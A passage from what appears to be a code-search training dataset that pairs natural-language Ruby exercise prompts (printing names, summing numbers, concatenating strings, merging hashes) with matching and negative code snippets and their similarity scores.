"def print_name(arg1)\n # YOUR CODE HERE\n puts \"arg1: #{arg1}\"\nend",
"def print_name(name)\n p \"Hello #{name}.\"# YOUR CODE HERE\nend",
"def print_name(name)\n p \"Your name is #{name}\"\nend",
"def print_name(name)\n p \"Get out of my house #{name}!\"\nend",
"def print_name\r\nputs \"Person called #{@name}\"\r\nend",
"def print_name\n puts \"Person called #{@name}\"\n end",
"def say_name(name)\n puts \"My name is #{name}\"\n end",
"def print_name\n p \"Chris\"\nend",
"def print_name\n puts \"Person called #{@name}\" \n end",
"def print_name\n puts \"Name: #{@name}\"\n end",
"def print_name()\n p \"Severus Snape\"\nend",
"def print_name\n puts \"Will Meighan\"\nend",
"def print_name\n puts \"Person called #{@name}\"\n end",
"def print_name\n print \"Person called #{@name}\"\n end",
"def print_name()\n puts \"Sidarth Bagawandoss\"\nend",
"def say_name\n puts \"#{name}\"\n end",
"def print_name\n puts \"Severus Snape\"\nend",
"def print_name\n p \"Jennica\"\nend",
"def print_name\n p \"Elliott Stein\"\nend",
"def print_name\n puts ('Rob')\nend",
"def print_name(name)\n p \"BILLY!!!!!\"# YOUR CODE HERE\nend",
"def print_name\n p \"Dee\"\nend",
"def print_name\n p \"Alexander Mathieu\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend",
"def print_name\n p \"Severus Snape\"\nend"
] | [
"0.86877906",
"0.86877906",
"0.86877906",
"0.8675344",
"0.8675344",
"0.8675344",
"0.8675344",
"0.8675344",
"0.8568528",
"0.8562393",
"0.8522358",
"0.85217804",
"0.85062236",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8505113",
"0.8494296",
"0.8469088",
"0.8469088",
"0.8445372",
"0.8434771",
"0.84239626",
"0.84239626",
"0.84188867",
"0.83934677",
"0.83527046",
"0.8350365",
"0.8345234",
"0.8339955",
"0.8274039",
"0.8233358",
"0.81991786",
"0.81859434",
"0.81846386",
"0.81745976",
"0.812067",
"0.80638176",
"0.8052998",
"0.8052516",
"0.8034395",
"0.801335",
"0.80106837",
"0.79906344",
"0.7989145",
"0.7986971",
"0.7985314",
"0.7980426",
"0.7945923",
"0.79458654",
"0.79256153",
"0.790367",
"0.78986186",
"0.78939724",
"0.7886077",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581",
"0.7883581"
] | 0.8692108 | 14 |
Write a method that takes in 2 numbers as arguments and prints their sum. Then call your method three times with different arguments passed in: | def first_method(num_1, num_2)
puts num_1 + num_2
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sum_these_numbers (a, b)\n puts a + b\nend",
"def two_sum(nums)\nend",
"def sum_these_numbers(a,b)\n puts a + b\nend",
"def sum_these_numbers(a, b)\n puts a + b\nend",
"def numbers(a, b)\n puts \"First number is #{a}\"\n puts \"Second number is #{b}\"\n return a + b\nend",
"def sum_nums(num1, num2)\n puts num1 + num2\nend",
"def sum_numbers (x, y, z)\n puts x + y + z\nend",
"def sum_numbers(num_1,num_2)\n puts \"The sum of #{num_1} and #{num_2} is #{num_1 + num_2}\"\nend",
"def sum_two_numbers(a, b)\n a + b\nend",
"def total(num1, num2)\n puts num1 + num2\nend",
"def sum_these_numbers(num1,num2)\n p num1 + num2\nend",
"def numbers(num1, num2)\n p num1 + num2\nend",
"def numbers(num1, num2)\n puts \"#{num1} + #{num2}\"\n return num1 + num2\nend",
"def sum_two_num(a, b)\n puts a + b\nend",
"def calc_sum_two(first, second)\n\n puts \"the sum of #{first} and #{second} is #{first + second}\"\n\nend",
"def numbers( num1 = 0, num2 = 0 )\n puts (num1 + num2)\nend",
"def sum_method(a, b)\n puts \"Adding #{a} + #{b}\"\n puts a + b\nend",
"def sum_these_numbers(num1, num2)\n num1 + num2\nend",
"def sum(num1, num2)\n puts num1 + num2\nend",
"def sum(numbers)\n # write your code here\nend",
"def add_two_numbers( x, y )\n puts x + y\nend",
"def add_two_numbers (x,y)\n puts x + y\nend",
"def get_sum(num1, num2)\n puts num1 + num2\nend",
"def add_two(num_one, num_two, num_three = 0, num_four = 0)\n puts 'Calculating....'\n num_one + num_two\nend",
"def sum(number_A, number_B)\n p number_A + number_B\nend",
"def add_two_numbers(x,y)\n puts x + y\nend",
"def sum(num1, num2)\n puts \"Really? #{num1 + num2} foxes?!\"\nend",
"def sum(n1, n2)\n n1 + n2\nend",
"def print_sum(num1, num2)\n p num1 + num2\nend",
"def add_numbers(number1, number2)\n return sum\nend",
"def sum2(n1, n2)\n puts n1+n2\nend",
"def sum (a, b)\n puts a + b\nend",
"def sum_numbers(x, y, z)\n\tx + y + z\nend",
"def total(num1, num2)\n num1 + num2\nend",
"def sum(num1, num2)\n num1 * num2\nend",
"def print_sum num1=0,num2=0\r\n\tputs num1 + num2\t\r\nend",
"def main\n one = first_number\n two = second_number\n addit(one, two)\nend",
"def sum(x, y) # 2 arguments\n p \"The sum of #{x} and #{y} is #{x + y}\"\n # p math.sum(sum_numbers) # This will not work because the arguments are not in an array\nend",
"def sum(a, b)\n puts \"Sum total: #{a} + #{b} = #{10 + 20}\"\n\nend",
"def sum_numbers (numbers)\n # Your code here\nend",
"def two_numbers(one, two)\n p \"This is the sum of #{one} and #{two}\"\nend",
"def sum_two(num1, num2)\n p \"#{num1} + #{num2} = #{num1 + num2}\"\nend",
"def sum(*numbers) # numbers in this context of method body\n # represent the array of all the arguments that are going\n # to come into the method.\n sum = 0\n numbers.each { |num| sum += num }\n sum\nend",
"def sum_finder(num_1, num_2)\n p num_1 + num_2\nend",
"def sum(*numbers)\n sum = 0\n numbers.each { |number| sum += number }\n sum\nend",
"def sum_these_numbers(x,y)\n sum = x + y\n puts sum\nend",
"def sum_two(x, y)\n x + y\nend",
"def times_two(nums)\n # your code\nend",
"def sum(number1, number2)\ntotal = number1 + number2 \nend",
"def sum a, b\n a + b\nend",
"def sum_stuff(nums1, nums2)\n nums1.each do |num1|\n nums2.each do |num2|\n puts num1 + num2\n end\n end\nend",
"def multiply_numbers(first_num, second_num, third_num)\r\n\tproduct = first_num * second_num * third_num\r\n\tputs \"inside the method #{product}\"\r\nend",
"def sum(x, y)\n puts x + y\nend",
"def sumoftwonumbers(number1, number2)\n return number1 + number2\nend",
"def find_sum(num1, num2)\n puts num1 + num2\nend",
"def sum_it(num1, num2)\n return num1 + num2\nend",
"def addNums(first, second, *nums)\n sum = first + second\n p nums.inject(sum) {|sum,x| sum+x}\n\nend",
"def sum(num1, num2)\n return num1 + num2\nend",
"def oddball_sum(numbers)\n\nend",
"def sum_three_numbers(number1, number2, number3)\n return number1 + number2 + number3\nend",
"def sum (a, b)\n a + b\nend",
"def sum(a,b)\n a + b\nend",
"def print_sums(nums1, nums2)\n nums1.each do |num1|\n nums2.each do |num2|\n p num1 + num2\n end\n end\nend",
"def sum a, b\n return a + b\nend",
"def sum(a, b)\n a + b\nend",
"def sum(a, b)\n a + b\nend",
"def add(num_1, num_2)\n puts num_1 + num_2\nend",
"def add_three(number)\n number + 3\n number + 4 \nend",
"def sum(a,b)\n a + b \nend",
"def numbers(a, b)\n p \"#{a} + #{b}\"\n return a + b\nend",
"def sum(a,b)\n p a + b\nend",
"def add_nums(num1,num2)\n p num1 + num2\nend",
"def sum x,y \n puts x+y \nend",
"def add_numbers(num1, num2)\n p num1 + num2\nend",
"def sum_many(*numbers)\r\n\t#numbers is an array, so we can call and do array stuff\r\n\t#puts numbers.size\r\n\t#puts numbers.first\r\n\t#puts numbers.last\r\n\t#numbers.each {|num| puts num }\r\n\tnumbers.each do |num|\r\n\t\tprint num,\" \"\r\n\tend\r\n\tputs\r\n\t#puts numbers[1]\r\n\t#sum = 0\r\n\t#numbers.each{|num| sum += num }\r\n\t#sum\r\n\t#inject == accumulate\r\n\t#accumulute, sum || concatenation\r\n\tnumbers.inject(0) {|sum,num| sum+=num}\r\nend",
"def add(num_one,num_two)\n puts \"#{num_one} + #{num_two} = #{num_one + num_two}\"\nend",
"def sum(a, b)\n return a + b\nend",
"def sum(a, b)\n return a + b\nend",
"def sum3(x, y, z)\n x + y + z\nend",
"def add_sum(a, b)\n puts \"ADDING #{a} + #{b}\"\n return a + b\nend",
"def add(x,y)\n total = x + y\n puts total\n calculate(total)\nend",
"def add(*numbers) # The (*) asterick is used to handle methods which have a variable parameter list!!\n numbers.inject(0) { |sum, number| sum + number } \nend",
"def sum(x, y)\n puts \"The sum of #{x} + #{y} is:\"\n puts \"-> #{x+y}\"\nend",
"def two_method(x,y,z)\n\t\tx + y + z\nend",
"def multiple(num1,num2)\n\tnum1 * num2\nend",
"def sum(a, b)\n p a + b\nend",
"def sum(a, b)\n p a + b\nend",
"def add_three num1, num2, num3\n num1 + num2 + num3\nend",
"def add (num_one, num_two)\n num_one + num_two\nend",
"def sum(*arguments)\n sum = 0\n arguments.each {|arg| sum += arg}\n sum\nend",
"def add(num_one, num_two)\n num_one + num_two\nend",
"def maths2(firstNum, secondNum)\n total = firstNum + secondNum\n puts \"firstNum is #{firstNum}\"\n puts \"the secondnum is #{secondNum}\"\n puts \"and the total is #{total} \"\n puts firstNum\n puts secondNum\n puts total\n puts \"firstNum is firstNum\"\n puts \"the secondnum is secondNum\"\n puts \"and the total is total\"\nend",
"def multiply_sum_by_3rd_argument\n\n end",
"def add(a,b)\n puts \"Adding these numbers #{a}, #{b}\"\n a + b\n end",
"def add(n1:, n2:, n3:)\n n1 + n2 + n3\nend",
"def double(*numbers)\n numbers.each do |x|\n puts x * 2\n end\nend",
"def add_three num1, num2, num3\n\tnum1 + num2 + num3\n\nend",
"def add(n1,n2)\n\tn1+n2\nend",
"def add(num_1, num_2)\n p num_1 + num_2\nend",
"def add(number_1, number_2)\n p number_1 + number_2\nend"
] | [
"0.7775145",
"0.77619874",
"0.77478385",
"0.77478",
"0.767521",
"0.76343995",
"0.76157206",
"0.75253206",
"0.7515833",
"0.7513327",
"0.75060844",
"0.748958",
"0.74663174",
"0.7452047",
"0.74504924",
"0.74294496",
"0.74278307",
"0.73973227",
"0.7393963",
"0.73891807",
"0.73743963",
"0.73693794",
"0.73619497",
"0.73299265",
"0.7323046",
"0.7318563",
"0.7317189",
"0.7316652",
"0.7303399",
"0.7295313",
"0.7282423",
"0.72805166",
"0.72773",
"0.72624695",
"0.7252465",
"0.7237011",
"0.7226599",
"0.7211593",
"0.7194282",
"0.7193162",
"0.7182925",
"0.71764994",
"0.71632147",
"0.7156289",
"0.715483",
"0.714052",
"0.7136612",
"0.71305615",
"0.7125863",
"0.71244943",
"0.71131486",
"0.70873326",
"0.70870507",
"0.7075542",
"0.7073203",
"0.70688015",
"0.70671415",
"0.70580304",
"0.7056036",
"0.70547336",
"0.70415187",
"0.704143",
"0.70127416",
"0.7012506",
"0.70072836",
"0.70072836",
"0.69860387",
"0.69823956",
"0.6981091",
"0.6978517",
"0.69757175",
"0.69726175",
"0.6970168",
"0.6968612",
"0.6955654",
"0.6947714",
"0.6945875",
"0.6945875",
"0.6944189",
"0.69387513",
"0.6936582",
"0.69294256",
"0.6924913",
"0.69214416",
"0.69212765",
"0.69200474",
"0.69200474",
"0.6919389",
"0.6914318",
"0.69141716",
"0.6911193",
"0.69090414",
"0.6900331",
"0.68961483",
"0.68824935",
"0.68797153",
"0.687811",
"0.68711865",
"0.68561447",
"0.68559885"
] | 0.71778 | 41 |
Write a method that takes in two strings as arguments and prints a concatenation of those two strings. Example: The arguments could be (man, woman) and the end result might output: "When Harry Met Sally". Then call your method three times with different arguments passed in. | def second_method(name_1, name_2)
puts "#{name_1}'s beauty really can't compare with #{name_2}'s."
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def string_concat(name_1, name_2)\n puts \"I went to the concert with \" +name_1 + \" and \" + name_2 + \".\"\nend",
"def concatenation(word1, word2)\n puts \"Artist #{word1} just released their newest album, titled #{word2}.\"\nend",
"def two_strings(man, woman)\n p \"When \" + man + \" Met \" + woman\nend",
"def concatenation (blow_dryer_setting, male_first_name)\n puts \"but my friends call me #{blow_dryer_setting} #{male_first_name}\"\nend",
"def dog_names(name_1, name_2)\n puts \"The dogs are named #{name_1} and #{name_2}.\"\n puts \"It was hard to give up #{name_1} but we got #{name_2} right after.\"\n puts \"#{name_1} was a little crazy and #{name_2} is quite mature.\"\n puts \"We're not suppose to pick favoriets but I'd pick #{name_2} over #{name_1}.\"\n puts \"\" # Added this to create a space in between the different arguments.\n end",
"def concatenator(string1, string2)\n \"#{string1} #{string2}\"\nend",
"def car(s1, s2)\n puts \"#{s1} #{s2}\"\nend",
"def string_conc(dog, cat)\n p \"#{dog} #{cat} around the house.\"\nend",
"def car(str_1, str_2)\n \"#{str_1} #{str_2}\"\nend",
"def things(thing1, thing2)\n puts \"Hey can you get me #{thing1} and #{thing2}. Cool thanks\"\nend",
"def concatentation_method(lover1, lover2)\n puts \"#{lover1} loves #{lover2}\"\nend",
"def example(first_name, last_name)\n full_name = first_name + ' ' + last_name\n \"#{first_name} #{last_name}\"\nend",
"def string_add(string1, string2)\n puts \"#{string1} #{string2}\"\nend",
"def together(string, string2, string3)\n return \"#{string} #{string2} #{string3}\" \nend",
"def concat(name_1, name_2)\n puts \"Name 1: #{name_1} Name 2: #{name_2}\"\nend",
"def two_strings(string_1, string_2)\n p \"When \" + string_1 + \" met \" + string_2 + \".\"\nend",
"def combine_name(first_name, last_name)\n # Q3 CODE HERE\n return \"#{first_name} #{last_name}\"\nend",
"def thing(fave_one, fave_two, fave_three)\n \"I love that #{fave_two} too!\"\nend",
"def greet name, name2\n puts \"Hello, #{name} and #{name2} how are you all doing today?\"\nend",
"def names(arg1, arg2)\n puts \"man: #{arg1}, woman: #{arg2}\"\n puts \"when #{arg1} met #{arg2}\"\n puts \"#{arg1} is much funnier than #{arg2}\"\nend",
"def say_hello name1=\"oscar\", name2=\"shane\"\n\t\"hello, #{name1} and #{name2}\"\nend",
"def car(first_name, second_name)\n puts \"#{first_name} #{second_name}\"\nend",
"def say_hello name1=\"Oscar\", name2=\"Shane\"\n \"hello, #{name1} and #{name2}\"\nend",
"def names(name1, name2)\n puts \"Huge announcement today! #{name1} climbed #{name2}! Congratulations!\"\nend",
"def join_strings(parameter1, parameter2)\r\n\treturn parameter1 + \" \" + parameter2\r\nend",
"def cheese_and_crackers(cheese_count, boxes_of_crackers)\n# Printing first argument using string interpolation\n puts \"You have #{cheese_count} cheeses!\"\n# Printing second argument using string interpolation\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n# Printing string\n puts \"Man that's enough for a party!\"\n# Printing string with newline character\n puts \"Get a blanket.\\n\"\n# Ending function\nend",
"def say_hello name1, name2 #pass parameters just like any other language. If you have lots of parameters, use Parentheses for readability (keep the code clean)\n puts \"Hello, #{name1} and #{name2}\"\nend",
"def cool_dude(arg1=\"Miles\", arg2=\"Coltrane\", arg3=\"Roach\")\n \"#{arg1}, #{arg2}, #{arg3}\"\nend",
"def sayHello( name=\"Stranger\", adjective=\"stinky\" )\n puts \"Hello #{ adjective } #{ name }\"\n \"hotdogs hotdogs hotdogs\"\nend",
"def car(*args)\n puts \"#{args.join(', ')}\"\nend",
"def string_argument(drink1, drink2)\n p \"My favorite drink is #{drink1}, but I really like #{drink2} too\"\nend",
"def concat(human, dog)\n p \"When #{human} walks #{dog}, there is never a dull moment.\"\nend",
"def do_something this,that,other\n puts \"We,I mean I ,am doing,er ,something!\"\nend",
"def print_two_agian(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def good_recipes(arg1, *rest)\n \"The deserts will be #{arg1} and #{rest.join(', ')}\" # the string has embedded two variables, the second variable 'rest' is defined by the 'join' method, which is basicly saying, join the rest of the strings with a comma and a space\nend",
"def join_strings(string_1, string_2)\n \"#{string_1} #{string_2}\"\nend",
"def method1 arg1, arg2\n return \"#{arg1} #{arg2}\"\nend",
"def join_strings(a, b)\n a + \" \" + b\nend",
"def full_name(first_name, last_name)\n puts \"Your full name is #{first_name + \" \" + last_name}.\"\nend",
"def say_hello3(name1=\"oscar\", name2=\"shane\")\n \"hello, #{name1} and #{name2}\"\nend",
"def two_more_things (arg1, arg2)\n puts \"arg1:#{arg1}, arg2:#{arg2}\"\nend",
"def join_strings(text_1, text_2)\n text_1 + \" \" + text_2\nend",
"def say_hello_3 name1=\"Bill\", name2=\"Ted\"\n \"hello, #{name1} and #{name2}\"\nend",
"def say_hello2(name1=\"oscar\", name2=\"shane\")\n puts \"hello, #{name1} and #{name2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1 #{arg1}, arg2: #{arg2}\"\nend",
"def join_strings(first_string, second_string)\n\n joint_string = first_string + ' ' + second_string\n\n return(joint_string)\n\nend",
"def two_arg_method(arg1, arg2)\n puts \"Here are my args: #{arg1}, #{arg2}\"\nend",
"def complete_sentence(animal1, animal2)\n p \"The #{animal1} chased the #{animal2}\"\nend",
"def print_two_again(arg1, arg2) # Non-variable list of inputs it will accept\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two(thing, another_thing)\n\tputs \"thing 1: #{thing}, thing 2: #{another_thing}\"\nend",
"def concat_str(str1, str2)\n p str1 + str2\nend",
"def cheese_and_crackers(cheese_count, boxes_of_crackers)\n # Print string and the cheese_count argument using string interpolation\n puts \"You have #{cheese_count} cheeses!\"\n # Print string and the boxes_of_crackers argument using string interpolation\n puts \"You have #{boxes_of_crackers} boxes of crackers!\"\n # Print string\n puts \"Man that's enough for a party!\"\n # Print string with a line break at the end\n puts \"Get a blanket.\\n\"\n# End method\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1; #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1; #{arg1}, arg2: #{arg2}\"\nend",
"def my_method2 argument1, argument2\n print argument1, \" \", argument2, \"\\n\" \n end",
"def puts_two(*args) #define \"method name\" \n\targ1, arg2 = args\n\tputs \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg2}, arg2:#{arg2}\"\nend",
"def print(destination1, destinantion2)\n puts \"I am going to #{destination1} and #{destinantion2} this summer!\"\nend",
"def cool_dude(arg1=\"Miles\", arg2=\"Coltrane\", arg3=\"Rose\")\n\t\"#{arg1}, #{arg2}, #{arg3}\"\nend",
"def print_two_again(arg1, arg2)\n\tputs \"arg1 : #{arg1}, arg2 : #{arg2}\"\nend",
"def join_strings(word_1, word_2)\n join_strings=\"#{word_1} #{word_2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, args2: #{arg2}\"\nend",
"def strings(team1, team2)\n p \"I think the #{team1} are better than the #{team2}.\"\nend",
"def print_two_again(arg1,arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\n end",
"def print_two_again(arg1, arg2)\n\tputs \"arg1 #{arg1}, arg2: #{arg2}\"\nend",
"def concat(school, person, program)\n return person + \" wants to go to \" + school + \" for \" + program + \".\"\nend",
"def concatenate(strings)\n\nend",
"def an_argument(*arguments)\n return \"You didn't give me any arguments.\" if arguments == []\n string = \"You gave me #{arguments.size} argument\"\n arguments.size == 1 ? string << \" and it is \" : string << \"s and they are \"\n if arguments.size > 1\n last = arguments.last\n arguments.pop\n end\n arguments.each {|argument| string << \"\\\"#{argument}\\\", \"}\n !last.nil? ? string.chop.chop<< \" and \\\"#{last}\\\".\" : string.chop.chop << \".\"\nend",
"def beam_me_up(person1, person2)\n \"The away team consists of #{person1} and #{person2}.\"\nend",
"def print_two_again(arg1,arg2)\n puts \"arg1: #{arg1},arg2: #{arg2}\"\n end",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\nend",
"def do_something this , that ,other\n puts \"We , I mean I ,am doing ,er , something!\"\nend",
"def getFullName(arg1=\"Barton\", arg2=\"Joey\")\n \"#{arg1}, #{arg2}\"\nend",
"def print_two_again(arg1, arg2)\n\n # whatever the value for arg1 is, print it to the screen\n # whatever the value of arg2 is, print it on the screen\n puts \"arg1: #{arg1}, arg2: #{arg2}\"\n\n #end the method\nend",
"def puts_two(*args)\n arg1, arg2 = args\n puts \"wth 1 #{arg1} 2 #{arg2}\"\n arg2 = arg2 + 1\n arg1 = arg1 + \"woots\"\nend",
"def string_me(char1,char2)\n puts \"I was a very nice day out #{x} could not believe the tales that #{y} told \"\nend"
] | [
"0.79053885",
"0.7840924",
"0.75949436",
"0.74773926",
"0.7410742",
"0.73765826",
"0.73164046",
"0.7306949",
"0.7301611",
"0.7280463",
"0.725939",
"0.7250898",
"0.7205665",
"0.718202",
"0.7169227",
"0.7151705",
"0.7148094",
"0.7141559",
"0.7101758",
"0.7080918",
"0.70742244",
"0.706372",
"0.70058644",
"0.7002731",
"0.69976425",
"0.69802564",
"0.6976774",
"0.6974755",
"0.69720834",
"0.69537044",
"0.69431424",
"0.6930483",
"0.6924591",
"0.6901054",
"0.68909526",
"0.6888611",
"0.6879029",
"0.6857067",
"0.68567395",
"0.68516934",
"0.68516684",
"0.6826776",
"0.68228626",
"0.6819544",
"0.6819501",
"0.6818374",
"0.6816111",
"0.6813533",
"0.68132216",
"0.68127686",
"0.68082994",
"0.67989606",
"0.67891854",
"0.67891854",
"0.67871666",
"0.6781369",
"0.6776248",
"0.67738515",
"0.67711294",
"0.67669034",
"0.67651665",
"0.6759138",
"0.6758326",
"0.6751418",
"0.67487645",
"0.6748116",
"0.674689",
"0.6746228",
"0.67390436",
"0.6734678",
"0.672191",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.67181623",
"0.6711079",
"0.6709301",
"0.67082584",
"0.67064327",
"0.6699276"
] | 0.0 | -1 |
this method is intended to merge payloads if they are nonempty hashes, but prefer the right most one if they are not hashes. | def merge lhs, rhs
if rhs.respond_to?(:empty?) && rhs.empty?
lhs
elsif lhs.respond_to?(:merge)
if rhs.respond_to?(:merge)
string_keys(lhs).merge(string_keys(rhs))
else
rhs
end
else
rhs
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def merge_payload! # rubocop:disable Metrics/MethodLength\n payload_hash = {}\n @payload.each do |p|\n next unless p.is_a?(Hash)\n case merge_strategy\n when :hash\n payload_hash = p.merge(payload_hash)\n when :deep_hash\n payload_hash = p.deep_merge!(payload_hash)\n end\n end\n @payload = payload_hash\n set_data_type\n end",
"def merge(hash); end",
"def merge(hash); end",
"def merge(hash); end",
"def merge!(*other_hashes, &blk); end",
"def merge(*other_hashes, &blk); end",
"def merge_2_array_of_hashes(a_arr, b_arr)\n merge_hash = a_hash = array_of_hashes_2_hash(a_arr) if a_arr\n merge_hash = b_hash = array_of_hashes_2_hash(b_arr) if b_arr\n merge_hash = a_hash.merge!(b_hash) if (a_arr and b_arr)\n merge_hash\nend",
"def safe_merge(hash1, hash2)\n hash1.merge(hash2) do |k,x,y|\n if x.is_a?(Hash)\n safe_merge(x, y)\n else\n x\n end\n end\n end",
"def merge\n a_hash = without_empty_values @a.to_h\n b_hash = without_empty_values @b.to_h\n\n @a.class.new a_hash.merge b_hash\n end",
"def merge(base_hash, derived_hash); end",
"def merge(other_hash); end",
"def _rh_merge(result, data)\n return _rh_merge_choose_data(result, data) unless data.is_a?(Hash)\n\n data.each do |key, _value|\n next if [:__struct_changing, :__protected].include?(key)\n\n _do_rh_merge(result, key, data)\n end\n [:__struct_changing, :__protected].each do |key|\n # Refuse merge by default if key data type are different.\n # This assume that the first layer merge has set\n # :__unset as a Hash, and :__protected as an Array.\n\n _do_rh_merge(result, key, data, true) if data.key?(key)\n\n # Remove all control element in arrays\n _rh_remove_control(result[key]) if result.key?(key)\n end\n\n result\n end",
"def merge!(hash); end",
"def hash_for_merging(hash)\n new_hash = { id: hash['message_id'].to_i,\n date: Time.at(hash['date'].to_i),\n from: User.new(hash['from'], @bot),\n chat: Chat.new(hash['chat'], @bot) }\n\n type = TYPES.find { |t| hash[t.to_s] }\n new_hash[type] = hash[type.to_s] # TODO: fail if type not found\n\n new_hash\n end",
"def deep_merge!(*other_hashes, &blk); end",
"def pg_hash_only_merge(merge_onto, merge_with)\n # If there are two Hashes, recursively merge.\n if merge_onto.kind_of?(Hash) && merge_with.kind_of?(Hash)\n merge_with.each do |key, merge_with_value|\n merge_onto[key] = pg_hash_only_merge(merge_onto[key], merge_with_value)\n end\n merge_onto\n\n # If merge_with is nil, don't replace merge_onto\n elsif merge_with.nil?\n merge_onto\n\n # In all other cases, replace merge_onto with merge_with\n else\n merge_with\n end\nend",
"def merge(base_hash, derived_hash, **opts); end",
"def payload_append\n opts['Payload'] ? opts['Payload']['Append'] : nil\n end",
"def rh_merge!(data)\n _rh_merge(self, data)\n end",
"def deep_merge(*other_hashes, &blk); end",
"def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend",
"def merge_hashes(hash1, hash2)\n merged_hash = hash1.clone\n return merged_hash if hash2.nil? || hash2.empty?\n\n if merged_hash.has_key?('.type_qualifier') && hash2.has_key?('.type_qualifier')\n hash2['.type_qualifier'] = \"#{merged_hash['.type_qualifier']} #{hash2['.type_qualifier']}\"\n end\n return merged_hash.merge!(hash2)\nend",
"def deep_merge_hashes(master_hash, other_hash); end",
"def smart_merge(parent, child)\n parent.merge(child) do |key, old, new|\n case old\n when Array\n old + new\n when Hash\n smart_merge(old, new)\n else\n new\n end\n end\n end",
"def deep_merge_hashes!(target, overwrite); end",
"def merge!(other_hash); end",
"def smart_merge(parent, child)\n parent.merge(child) do |_key, old, new|\n case old\n when Hash\n smart_merge(old, new)\n else\n new\n end\n end\n end",
"def combined_hash\n y = if @process_global\n normalize(global_yaml).rmerge(normalize(yaml))\n else\n normalize(yaml)\n end\n @process_local ? y.rmerge(normalize(local_yaml)) : y\n end",
"def merge hash = {}\n original.merge(hash)\n end",
